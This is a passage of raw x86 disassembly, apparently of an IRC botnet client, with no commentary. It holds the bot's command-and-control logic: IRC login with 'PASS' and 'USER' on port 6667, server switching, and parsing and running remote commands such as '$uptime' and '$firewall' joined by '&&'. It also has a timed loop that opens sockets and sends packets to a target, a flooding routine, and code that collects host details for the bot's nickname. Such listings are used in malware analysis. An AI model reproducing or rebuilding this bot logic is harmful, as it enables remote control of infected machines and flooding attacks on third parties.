		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		mov	edi, 3E8h
		cmp	eax, edi
		jnb	short loc_408A54


loc_4089E5:				; CODE XREF: sub_407A76+FD2j
		push	0FFFFh
		push	1
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	dword_412248	; htons
		push	4
		push	ebx
		mov	[ebp+var_12], ax
		call	sub_4031A7
		pop	ecx
		mov	[ebp+var_10], eax
		pop	ecx
		push	ebx
		push	2
		push	2
		call	dword_41222C	; socket
		mov	esi, eax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	dword_412208	; connect
		push	ebx
		lea	eax, [ebp+arg_18+3]
		push	1
		push	eax
		push	esi
		call	dword_412220	; send
		push	esi
		call	dword_412240	; closesocket
		add	[ebp+arg_14], 2Bh
		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		cmp	eax, edi
		jb	short loc_4089E5
		mov	eax, [ebp+arg_14]
		cmp	eax, 400h
		ja	short loc_408A59


loc_408A54:				; CODE XREF: sub_407A76+F6Dj
		mov	eax, 400h


loc_408A59:				; CODE XREF: sub_407A76+FDCj
		shr	eax, 0Ah
		push	eax
		push	offset dword_414840
		jmp	loc_40835E
; ---------------------------------------------------------------------------


loc_408A67:				; CODE XREF: sub_407A76+F33j
		cmp	edi, dword_414838
		jz	loc_408CDD
		cmp	edi, dword_41482C
		jz	loc_408CDD
		cmp	edi, dword_414820
		jnz	short loc_408AA4
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40F908


loc_408A9C:				; CODE XREF: sub_407A76+626j
					; sub_407A76+67Bj ...
		add	esp, 10h
		jmp	loc_408D69
; ---------------------------------------------------------------------------


loc_408AA4:				; CODE XREF: sub_407A76+100Fj
		cmp	edi, dword_414818
		jz	loc_408CCC
		cmp	edi, dword_41480C
		jz	loc_408CCC
		cmp	edi, dword_414804
		jz	loc_408CBB
		cmp	edi, dword_4147F8
		jz	loc_408CBB
		cmp	edi, dword_4147E8
		jnz	short loc_408B13
		push	eax
		push	offset a9252	; "9252"
		call	sub_403644
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp+var_208]
		push	esi
		push	offset dword_413B64
		push	eax
		call	sub_4096CB
		add	esp, 0Ch
		test	esi, esi
		jz	loc_408D69
		push	esi
		call	sub_40392A
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_408B13:				; CODE XREF: sub_407A76+1064j
		cmp	edi, dword_4147D4
		jnz	short loc_408B2C
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_406A08
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_408B2C:				; CODE XREF: sub_407A76+10A3j
		cmp	edi, dword_4147CC
		jz	short loc_408BA5
		cmp	edi, dword_4147C0
		jz	short loc_408BA5
		cmp	edi, dword_4147B8
		jnz	loc_408D69
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_408D69
		cmp	[esi+8], ebx
		jz	loc_408D69
		push	2
		push	offset aId	; "id"
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408B81
		push	dword ptr [esi+8]
		push	offset byte_41A268
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_408B81:				; CODE XREF: sub_407A76+10FAj
		push	offset aUsername ; "username"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408D69
		push	dword ptr [esi+8]
		push	offset byte_41A3E8
		jmp	loc_408208
; ---------------------------------------------------------------------------


loc_408BA5:				; CODE XREF: sub_407A76+10BCj
					; sub_407A76+10C4j
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_408BBA
		push	esi
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+arg_14], eax
		jmp	short loc_408BBD
; ---------------------------------------------------------------------------


loc_408BBA:				; CODE XREF: sub_407A76+1136j
		mov	[ebp+arg_14], ebx


loc_408BBD:				; CODE XREF: sub_407A76+1142j
		call	sub_406AB7
		mov	edi, 15180h
		xor	edx, edx
		mov	esi, edi
		mov	ecx, eax
		div	esi
		xor	edx, edx
		mov	esi, 0E10h
		mov	ebx, esi
		push	3Ch
		mov	[ebp+arg_18], eax
		mov	eax, ecx
		mov	ecx, edi
		div	ecx
		mov	ecx, edx
		xor	edx, edx
		mov	eax, ecx
		div	ebx
		xor	edx, edx
		mov	[ebp+var_8], eax
		mov	eax, ecx
		mov	ecx, esi
		div	ecx
		pop	ecx
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		cmp	[ebp+arg_18], eax
		jb	loc_408D69
		call	sub_406B29
		xor	edx, edx
		mov	ebx, edi
		mov	ecx, eax
		push	3Ch
		div	ebx
		xor	edx, edx
		mov	[ebp+arg_10], eax
		mov	eax, ecx
		div	edi
		mov	edi, esi
		mov	ecx, edx
		xor	edx, edx
		mov	eax, ecx
		div	edi
		xor	edx, edx
		mov	[ebp+arg_8], eax
		mov	eax, ecx
		div	esi
		pop	ecx
		push	1
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	edx, offset byte_4191D0
		mov	ecx, offset dword_4141FC
		mov	[ebp+arg_14], edx
		mov	ebx, eax
		pop	eax
		cmp	ebx, eax
		jz	short loc_408C57
		mov	[ebp+arg_14], ecx


loc_408C57:				; CODE XREF: sub_407A76+11DCj
		cmp	[ebp+arg_8], eax
		mov	[ebp+arg_0], edx
		jz	short loc_408C62
		mov	[ebp+arg_0], ecx


loc_408C62:				; CODE XREF: sub_407A76+11E7j
		cmp	[ebp+arg_10], eax
		mov	[ebp+arg_C], edx
		jz	short loc_408C6D
		mov	[ebp+arg_C], ecx


loc_408C6D:				; CODE XREF: sub_407A76+11F2j
		cmp	[ebp+var_1C], eax
		mov	edi, edx
		jz	short loc_408C76
		mov	edi, ecx


loc_408C76:				; CODE XREF: sub_407A76+11FCj
		cmp	[ebp+var_8], eax
		mov	esi, edx
		jz	short loc_408C7F
		mov	esi, ecx


loc_408C7F:				; CODE XREF: sub_407A76+1205j
		cmp	[ebp+arg_18], eax
		jnz	short loc_408C86
		mov	ecx, edx


loc_408C86:				; CODE XREF: sub_407A76+120Cj
		push	[ebp+arg_14]
		lea	eax, [ebp+var_208]
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		push	[ebp+arg_10]
		push	edi
		push	[ebp+var_1C]
		push	esi
		push	[ebp+var_8]
		push	ecx
		push	[ebp+arg_18]
		push	offset dword_414734
		push	eax
		call	sub_4096CB
		add	esp, 38h
		jmp	loc_408D69
; ---------------------------------------------------------------------------


loc_408CBB:				; CODE XREF: sub_407A76+104Cj
					; sub_407A76+1058j
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40677A
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_408CCC:				; CODE XREF: sub_407A76+1034j
					; sub_407A76+1040j
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4062CF
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_408CDD:				; CODE XREF: sub_407A76+FF7j
					; sub_407A76+1003j
		push	offset dword_418FD0
		push	3AEh
		push	0
		lea	eax, [ebp+var_208]
		push	offset dword_414710
		push	eax
		call	sub_4096CB


loc_408CFA:				; CODE XREF: sub_407A76+9A8j
		add	esp, 14h
		jmp	short loc_408D69
; ---------------------------------------------------------------------------


loc_408CFF:				; CODE XREF: sub_407A76+CA6j
					; sub_407A76+CB2j
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_4097DB
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	sub_409522
		jmp	loc_408A9C
; ---------------------------------------------------------------------------


loc_408D1C:				; CODE XREF: sub_407A76+C6Fj
					; sub_407A76+C7Bj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4018D5


loc_408D2E:				; CODE XREF: sub_407A76+AAj
					; sub_407A76+29Dj ...
		pop	ecx
		jmp	short loc_408D68
; ---------------------------------------------------------------------------


loc_408D31:				; CODE XREF: sub_407A76+BB6j
					; sub_407A76+BC2j ...
		push	offset aQuitExitting ; "QUIT :exitting"


loc_408D36:				; CODE XREF: sub_407A76+B26j
		call	sub_4097DB
		jmp	short loc_408D68
; ---------------------------------------------------------------------------


loc_408D3D:				; CODE XREF: sub_407A76+719j
					; sub_407A76+725j ...
		push	dword ptr [esi+14h]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40F2C2
		jmp	loc_408235
; ---------------------------------------------------------------------------


loc_408D5D:				; CODE XREF: sub_407A76+5B6j
					; sub_407A76+5C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_409843


loc_408D68:				; CODE XREF: sub_407A76+71j
					; sub_407A76+2B6j ...
		pop	ecx


loc_408D69:				; CODE XREF: sub_407A76+DEj
					; sub_407A76+12Aj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_408D6E	proc near		; CODE XREF: sub_408E1A+320p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]


loc_408D72:				; CODE XREF: sub_408D6E+10j
		mov	cl, [eax]
		cmp	cl, 20h
		jnz	short locret_408D80
		test	cl, cl
		jz	short locret_408D80
		inc	eax
		jmp	short loc_408D72
; ---------------------------------------------------------------------------

locret_408D80:				; CODE XREF: sub_408D6E+9j
					; sub_408D6E+Dj
		retn
sub_408D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D81	proc near		; DATA XREF: sub_409149+4Eo

var_52C		= byte ptr -52Ch
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_187		= byte ptr -187h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 52Ch
		push	esi
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_4]
		mov	esi, offset asc_414F50 ; ";"
		push	eax
		lea	eax, [ebp+var_328]
		push	esi
		push	eax
		call	sub_405E4F
		add	esp, 1Ch


loc_408DC0:				; CODE XREF: sub_408D81+84j
		test	eax, eax
		jz	short loc_408E07


loc_408DC4:				; CODE XREF: sub_408D81+49j
		cmp	byte ptr [eax],	20h
		jnz	short loc_408DCC
		inc	eax
		jmp	short loc_408DC4
; ---------------------------------------------------------------------------


loc_408DCC:				; CODE XREF: sub_408D81+46j
		push	eax
		lea	eax, [ebp+var_187]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		lea	eax, [ebp+var_52C]
		push	200h
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_52C]
		push	eax
		call	sub_40A236
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	0
		call	sub_405E4F
		add	esp, 24h
		jmp	short loc_408DC0
; ---------------------------------------------------------------------------


loc_408E07:				; CODE XREF: sub_408D81+41j
		push	[ebp+var_32C]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_408D81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E1A	proc near		; CODE XREF: sub_409149+6p

var_1D4		= byte ptr -1D4h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1D4h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		test	esi, esi
		jz	loc_409142
		cmp	byte ptr [esi],	28h
		jnz	loc_409142
		inc	esi
		push	offset asc_414FB8 ; ")"
		push	esi
		call	sub_411528	; strstr
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		pop	ecx
		jz	loc_409142
		sub	eax, esi
		lea	ecx, [eax+1]
		mov	eax, 180h
		cmp	ecx, eax
		ja	short loc_408E63
		mov	eax, ecx


loc_408E63:				; CODE XREF: sub_408E1A+45j
		push	eax
		lea	eax, [ebp+var_1D4]
		push	esi
		push	eax
		call	sub_4059C2
		push	1
		lea	eax, [ebp+var_1D4]
		push	1
		push	eax
		call	sub_405AD6
		lea	eax, [ebp+arg_0]
		mov	ebx, offset asc_414FB4 ; "&&"
		push	eax
		lea	eax, [ebp+var_1D4]
		push	ebx
		push	eax
		call	sub_405E4F
		add	esp, 24h


loc_408E9A:				; CODE XREF: sub_408E1A+316j
		test	eax, eax
		jz	loc_409135


loc_408EA2:				; CODE XREF: sub_408E1A+8Ej
		cmp	byte ptr [eax],	20h
		jnz	short loc_408EAA
		inc	eax
		jmp	short loc_408EA2
; ---------------------------------------------------------------------------


loc_408EAA:				; CODE XREF: sub_408E1A+8Bj
		lea	ecx, [ebp+var_54]
		push	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		lea	ecx, [ebp+var_34]
		push	ecx
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	eax
		call	sub_411522	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jnz	loc_409142
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_41151C	; atoi
		mov	edi, eax
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_41151C	; atoi
		pop	ecx
		mov	esi, eax
		test	edi, edi
		pop	ecx
		jnz	loc_408FB7
		lea	eax, [ebp+var_34]
		push	offset dword_413F58
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB7
		lea	eax, [ebp+var_34]
		push	offset aUptime	; "$uptime"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408F2C
		call	sub_406AB7
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		jmp	loc_408FB5
; ---------------------------------------------------------------------------


loc_408F2C:				; CODE XREF: sub_408E1A+FDj
		lea	eax, [ebp+var_34]
		push	offset aVersion	; "$version"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408F47
		mov	edi, 3AEh
		jmp	short loc_408FB7
; ---------------------------------------------------------------------------


loc_408F47:				; CODE XREF: sub_408E1A+124j
		lea	eax, [ebp+var_34]
		push	offset aFree	; "$free"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408F62
		call	sub_4067B2
		jmp	short loc_408FB5
; ---------------------------------------------------------------------------


loc_408F62:				; CODE XREF: sub_408E1A+13Fj
		lea	eax, [ebp+var_34]
		push	offset aLatency	; "$latency"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408F7D
		call	sub_406373
		jmp	short loc_408FB5
; ---------------------------------------------------------------------------


loc_408F7D:				; CODE XREF: sub_408E1A+15Aj
		lea	eax, [ebp+var_34]
		push	offset aFirewall ; "$firewall"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408F98
		call	sub_4032D2
		jmp	short loc_408FB5
; ---------------------------------------------------------------------------


loc_408F98:				; CODE XREF: sub_408E1A+175j
		lea	eax, [ebp+var_34]
		push	offset aIpv6	; "$ipv6"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409142
		call	sub_4033F9


loc_408FB5:				; CODE XREF: sub_408E1A+10Dj
					; sub_408E1A+146j ...
		mov	edi, eax


loc_408FB7:				; CODE XREF: sub_408E1A+CDj
					; sub_408E1A+E5j ...
		test	esi, esi
		jnz	loc_409089
		lea	eax, [ebp+var_54]
		push	offset dword_413F58
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409089
		lea	eax, [ebp+var_54]
		push	offset aUptime	; "$uptime"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408FFE
		call	sub_406AB7
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		jmp	loc_409087
; ---------------------------------------------------------------------------


loc_408FFE:				; CODE XREF: sub_408E1A+1CFj
		lea	eax, [ebp+var_54]
		push	offset aVersion	; "$version"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409019
		mov	esi, 3AEh
		jmp	short loc_409089
; ---------------------------------------------------------------------------


loc_409019:				; CODE XREF: sub_408E1A+1F6j
		lea	eax, [ebp+var_54]
		push	offset aFree	; "$free"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409034
		call	sub_4067B2
		jmp	short loc_409087
; ---------------------------------------------------------------------------


loc_409034:				; CODE XREF: sub_408E1A+211j
		lea	eax, [ebp+var_54]
		push	offset aLatency	; "$latency"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40904F
		call	sub_406373
		jmp	short loc_409087
; ---------------------------------------------------------------------------


loc_40904F:				; CODE XREF: sub_408E1A+22Cj
		lea	eax, [ebp+var_54]
		push	offset aFirewall ; "$firewall"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40906A
		call	sub_4032D2
		jmp	short loc_409087
; ---------------------------------------------------------------------------


loc_40906A:				; CODE XREF: sub_408E1A+247j
		lea	eax, [ebp+var_54]
		push	offset aIpv6	; "$ipv6"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409142
		call	sub_4033F9


loc_409087:				; CODE XREF: sub_408E1A+1DFj
					; sub_408E1A+218j ...
		mov	esi, eax


loc_409089:				; CODE XREF: sub_408E1A+19Fj
					; sub_408E1A+1B7j ...
		lea	eax, [ebp+var_14]
		push	offset asc_414F64 ; "=="
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4090A5
		cmp	edi, esi
		jnz	loc_409142


loc_4090A5:				; CODE XREF: sub_408E1A+281j
		lea	eax, [ebp+var_14]
		push	offset asc_414F60 ; "!="
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4090C1
		cmp	edi, esi
		jz	loc_409142


loc_4090C1:				; CODE XREF: sub_408E1A+29Dj
		lea	eax, [ebp+var_14]
		push	offset asc_414F5C ; ">"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4090D9
		cmp	edi, esi
		jbe	short loc_409142


loc_4090D9:				; CODE XREF: sub_408E1A+2B9j
		lea	eax, [ebp+var_14]
		push	offset asc_414F58 ; ">="
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4090F1
		cmp	edi, esi
		jb	short loc_409142


loc_4090F1:				; CODE XREF: sub_408E1A+2D1j
		lea	eax, [ebp+var_14]
		push	offset dword_414988
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409109
		cmp	edi, esi
		jnb	short loc_409142


loc_409109:				; CODE XREF: sub_408E1A+2E9j
		lea	eax, [ebp+var_14]
		push	offset asc_414F54 ; "<="
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409121
		cmp	edi, esi
		ja	short loc_409142


loc_409121:				; CODE XREF: sub_408E1A+301j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		call	sub_405E4F
		add	esp, 0Ch
		jmp	loc_408E9A
; ---------------------------------------------------------------------------


loc_409135:				; CODE XREF: sub_408E1A+82j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_408D6E
		pop	ecx
		jmp	short loc_409144
; ---------------------------------------------------------------------------


loc_409142:				; CODE XREF: sub_408E1A+11j
					; sub_408E1A+1Aj ...
		xor	eax, eax


loc_409144:				; CODE XREF: sub_408E1A+326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408E1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_409149	proc near		; CODE XREF: sub_407A76+C96p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	[esp+8+arg_4]
		call	sub_408E1A
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4091A4
		push	327h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4091A4
		push	180h
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_4059C2
		push	[esp+14h+arg_0]
		lea	eax, [esi+184h]
		push	eax
		call	sub_40457C
		add	esp, 14h
		push	edi
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	esi
		push	offset sub_408D81
		call	sub_406D58
		add	esp, 14h


loc_4091A4:				; CODE XREF: sub_409149+10j
					; sub_409149+21j
		pop	edi
		pop	esi
		retn
sub_409149	endp


; =============== S U B	R O U T	I N E =======================================



sub_4091A7	proc near		; CODE XREF: sub_401B81+77p
					; sub_409918+461p ...
		mov	eax, dword_419D44
		retn
sub_4091A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091AD	proc near		; CODE XREF: sub_409522+10p
					; sub_409522+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		push	esi
		push	edi
		mov	edi, offset byte_419AB8
		jz	short loc_4091FC
		push	[ebp+arg_0]
		push	offset dword_419C38
		call	sub_4114B8	; _mbscpy
		cmp	[ebp+arg_4], ebx
		pop	ecx
		pop	ecx
		jz	short loc_4091D8
		push	[ebp+arg_4]
		jmp	short loc_4091DD
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_4091AD+24j
		push	offset a6667	; "6667"


loc_4091DD:				; CODE XREF: sub_4091AD+29j
		mov	ebx, offset dword_419D38
		push	ebx
		call	sub_4114B8	; _mbscpy
		cmp	[ebp+arg_8], 0
		pop	ecx
		pop	ecx
		jz	short loc_4091F5
		push	[ebp+arg_8]
		jmp	short loc_409251
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_4091AD+41j
		push	offset byte_4191D0
		jmp	short loc_409251
; ---------------------------------------------------------------------------


loc_4091FC:				; CODE XREF: sub_4091AD+10j
		xor	esi, esi
		cmp	off_418E20, ebx
		jz	short loc_409213
		mov	eax, offset off_418E20


loc_40920B:				; CODE XREF: sub_4091AD+64j
		add	eax, 0Ch
		inc	esi
		cmp	[eax], ebx
		jnz	short loc_40920B


loc_409213:				; CODE XREF: sub_4091AD+57j
		call	sub_40B480
		xor	edx, edx
		div	esi
		lea	esi, [edx+edx*2]
		shl	esi, 2
		push	off_418E20[esi]
		push	offset dword_419C38
		call	sub_4114B8	; _mbscpy
		push	off_418E24[esi]
		mov	ebx, offset dword_419D38
		push	ebx
		call	sub_4114B8	; _mbscpy
		mov	esi, off_418E28[esi]
		add	esp, 10h
		test	esi, esi
		jz	short loc_409259
		push	esi


loc_409251:				; CODE XREF: sub_4091AD+46j
					; sub_4091AD+4Dj
		push	edi
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_409259:				; CODE XREF: sub_4091AD+A1j
		push	offset dword_419C38
		call	sub_40B5A8
		push	ebx
		call	sub_40B5A8
		push	edi
		call	sub_40B5A8
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4091AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409277	proc near		; CODE XREF: sub_409522+B9p
					; sub_409918+4BFp

var_238		= byte ptr -238h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_404A70
		add	esp, 0Ch
		cmp	byte_419AB8, 0
		jz	short loc_4092C7
		mov	esi, offset byte_419AB8
		push	esi
		call	sub_40B5E1
		pop	ecx
		push	esi
		push	offset aPassS	; "PASS	%s"
		call	sub_4097DB
		push	esi
		call	sub_40B5A8
		add	esp, 0Ch


loc_4092C7:				; CODE XREF: sub_409277+2Ej
		xor	esi, esi
		cmp	[ebp+arg_0], esi
		jz	short loc_40934B
		cmp	byte_41A268, 0
		jz	short loc_4092E5
		lea	eax, [ebp+var_120]
		push	offset byte_41A268
		push	eax
		jmp	short loc_4092F1
; ---------------------------------------------------------------------------


loc_4092E5:				; CODE XREF: sub_409277+5Ej
		lea	eax, [ebp+var_120]
		push	eax
		push	offset byte_41A268


loc_4092F1:				; CODE XREF: sub_409277+6Cj
		call	sub_4114B8	; _mbscpy
		cmp	byte_41A3E8, 0
		pop	ecx
		pop	ecx
		jz	short loc_40930F
		lea	eax, [ebp+var_238]
		push	offset byte_41A3E8
		push	eax
		jmp	short loc_40931B
; ---------------------------------------------------------------------------


loc_40930F:				; CODE XREF: sub_409277+88j
		lea	eax, [ebp+var_238]
		push	eax
		push	offset byte_41A3E8


loc_40931B:				; CODE XREF: sub_409277+96j
		call	sub_4114B8	; _mbscpy
		pop	ecx
		lea	eax, [ebp+var_238]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_4097DB
		add	esp, 14h


loc_40934B:				; CODE XREF: sub_409277+55j
		cmp	[ebp+arg_4], esi
		jz	loc_40951F
		cmp	[ebp+arg_0], esi
		jz	short loc_409378
		cmp	byte_41A1E8, 0
		jz	short loc_409378
		push	offset byte_41A1E8
		push	offset dword_414F0C
		call	sub_4097DB
		pop	ecx
		pop	ecx
		jmp	loc_40951F
; ---------------------------------------------------------------------------


loc_409378:				; CODE XREF: sub_409277+E0j
					; sub_409277+E9j
		call	sub_406AB7
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, 4
		mov	[ebp+arg_4], eax
		jnb	short loc_4093C8
		call	sub_404DAD
		test	eax, eax
		jnz	short loc_4093C8
		lea	eax, [ebp+var_A0]
		push	offset dword_418E44
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4098C7
		add	esp, 10h
		jmp	loc_4094FA
; ---------------------------------------------------------------------------


loc_4093C8:				; CODE XREF: sub_409277+115j
					; sub_409277+11Ej
		call	sub_404D00
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_405F9A
		test	eax, eax
		pop	ecx
		jnz	short loc_4093EB
		lea	eax, [ebp+var_20]
		push	offset aUnk	; "UNK"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_4093EB:				; CODE XREF: sub_409277+162j
		call	sub_4067B2
		mov	ecx, 400h
		cmp	eax, ecx
		jbe	short loc_409400
		call	sub_4067B2
		jmp	short loc_409402
; ---------------------------------------------------------------------------


loc_409400:				; CODE XREF: sub_409277+180j
		mov	eax, ecx


loc_409402:				; CODE XREF: sub_409277+187j
		shr	eax, 0Ah
		push	ebx
		mov	[ebp+arg_0], eax
		call	sub_406373
		cmp	eax, 2EEh
		mov	ebx, offset aB	; "B"
		jnb	short loc_40941F
		mov	ebx, offset aA	; "A"


loc_40941F:				; CODE XREF: sub_409277+1A1j
		cmp	eax, 1F4h
		jnb	short loc_40942B
		mov	ebx, offset aG	; "G"


loc_40942B:				; CODE XREF: sub_409277+1ADj
		push	edi
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_1B0]
		mov	[ebp+var_1B4], 94h
		rep stosd
		lea	eax, [ebp+var_1B4]
		push	eax
		call	dword_412034	; GetVersionExA
		cmp	[ebp+var_1B0], 5
		pop	edi
		jnz	short loc_409466
		cmp	[ebp+var_1AC], 1
		jnz	short loc_409466
		push	1
		pop	esi


loc_409466:				; CODE XREF: sub_409277+1E1j
					; sub_409277+1EAj
		push	5Ah
		push	41h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_40B459
		pop	ecx
		pop	ecx
		test	esi, esi
		push	eax
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		push	5Dh
		push	[ebp+arg_4]
		push	5Bh
		push	5Dh
		push	eax
		push	5Bh
